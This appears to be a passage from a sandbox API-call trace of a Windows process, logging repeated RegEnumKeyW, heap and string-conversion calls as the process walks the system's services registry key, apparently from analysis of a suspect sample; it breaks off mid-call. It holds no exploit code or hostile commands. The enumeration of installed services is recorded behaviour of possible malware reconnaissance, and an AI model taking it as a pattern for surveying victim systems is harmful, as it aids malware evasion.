0x0 [0232.616] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.618] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.618] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.618] RegCloseKey (hKey=0x150) returned 0x0 [0232.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bb0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.618] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bb0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", 